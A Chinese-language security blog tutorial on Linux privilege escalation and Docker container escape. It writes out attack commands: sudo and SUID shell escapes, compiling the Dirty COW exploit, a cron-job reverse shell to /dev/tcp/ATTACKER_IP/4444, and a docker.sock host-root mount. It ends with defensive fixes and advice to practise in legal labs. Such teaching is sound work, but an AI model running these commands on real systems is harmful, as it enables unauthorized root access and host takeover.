【后渗透-Linux篇】Linux 提权与逃逸:从 www-data到 root的蜕变

📅 2026/7/9 1:50:46 👁️ 阅读次数 📝 编程学习
【后渗透-Linux篇】Linux 提权与逃逸:从 www-data到 root的蜕变

💡导读:拿到 Webshell 只是拿到了“访客权限”。在 Linux 系统中,www-dataapache用户几乎什么都干不了——看不到关键信息,改不了系统配置,也没法横向移动。本期我们将学习如何把“访客”变成“主人”(root),这是渗透测试中最激动人心的时刻。


一、 为什么要提权?(权限的边界)

1. 信息收集的需要

  • 普通用户:只能看到自己的文件。

  • Root 用户:可以读取/etc/shadow(密码哈希)、全量日志、所有用户的操作记录。

2. 横向移动的跳板

  • 很多内网穿透工具、扫描工具需要 Root 权限才能开启 raw socket 或进行 ARP 欺骗。

3. 权限维持

  • Root 权限意味着你可以修改内核模块、植入开机自启脚本,即使系统重启也能连回来。


二、 提权三板斧:信息收集

“打信息收集就是打一半的仗。” 拿到 Shell 后,第一件事不是乱跑 Exp(漏洞利用程序),而是收集系统情报。

1. 系统指纹
# 查看内核版本(最关键,用来找对应 Exp) uname -a # 查看发行版 cat /etc/*release
  • 实战意义:如果内核是Ubuntu 16.04且内核版本较低,大概率可以用Dirty COW​ 提权。

2. 当前权限与环境
# 我是谁? whoami # 我在哪? pwd # 有哪些 sudo 权限?(这是最轻松的提权方式) sudo -l
3. 查找敏感文件
# 查找带有 SUID 位的文件(提权黄金点) find / -perm -4000 2>/dev/null # 查找配置文件(可能藏密码) find / -name "config*" -o -name "*.conf" 2>/dev/null

三、 实战演练:四种经典提权手法

1. Sudo 滥用(最简单)

场景sudo -l显示(ALL) NOPASSWD: /usr/bin/find

利用

sudo find /etc/passwd -exec /bin/sh \;
  • 原理find命令拥有 root 权限,并且允许执行外部命令。

2. SUID 提权(最常见)

场景find / -perm -4000发现/usr/bin/nmap有 SUID 位。

利用(适用于旧版 Nmap):

nmap --interactive nmap> !sh
  • 结果:直接弹回一个 root shell。

3. 内核漏洞提权(核武器)

场景uname -a显示内核Linux 4.4.0-21-generic

操作

  1. 在 Exploit-DB搜索对应版本的提权 Exp。

  2. 下载40839.c

  3. 编译执行:

    gcc 40839.c -o dirty ./dirty
  4. 结果:获得 root 权限。

4. Cron Job(计划任务)提权

场景:发现/etc/crontab中有这么一行:

* * * * * root /home/user/clean.sh

利用

echo "/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" >> /home/user/clean.sh chmod +x /home/user/clean.sh
  • 原理:等待一分钟,系统以 root 身份执行clean.sh,从而反弹 root shell 给攻击者。


四、 2026 年新趋势:容器逃逸(Container Escape)

现在的 Web 服务大多跑在 Docker 容器里。即使你拿到了root,也只是容器的“假 root”。

1. 判断是否在容器内
# 检查 /.dockerenv 文件 ls -la /.dockerenv # 查看进程数(容器内通常很少) ps aux
2. 逃逸手法:Docker Socket 挂载

场景:容器内部存在/var/run/docker.sock

利用

# 在容器内执行,启动一个新容器,并将宿主机根目录挂载进去 docker run -it --rm -v /:/host ubuntu chroot /host /bin/bash
  • 结果:你现在已经是宿主机的 root 了。


五、 防御视角:如何修复?

  1. 及时打补丁:内核漏洞只能通过升级内核修复。

  2. 去除 SUID:移除不必要程序的 SUID 位(chmod u-s /usr/bin/find)。

  3. 配置 Sudoers:禁止普通用户以 root 运行危险命令。

  4. 容器安全绝对不要/var/run/docker.sock挂载进容器。


⚠️ 安全警示与法律红线

🚨 极度危险的警告:

  1. 严禁内核提权测试:在真实业务服务器上运行内核 Exp(如 Dirty COW)极有可能导致系统崩溃(Kernel Panic),造成业务中断。

  2. 严禁修改系统文件:在未授权情况下,严禁修改/etc/passwd/etc/shadow或计划任务。

  3. 靶场练习:请在VulnHub (Lin.Security, Kioptrix)​ 或TryHackMe (Linux PrivEsc)​ 等合法靶场中练习。

提权是系统层面的搏斗。一旦失误,满盘皆输。请在隔离环境中磨练你的刀锋。


💬 互动环节

  • 你在提权时遇到过最尴尬的事是什么?(比如 Exp 编译失败?)

  • 你觉得 SUID 提权和内核提权哪个更实用?

  • 欢迎在评论区留言讨论!

👉 下一期预告:【后渗透-Windows篇】Windows 域渗透 —— 从本地管理员到域控(DC)的跨越。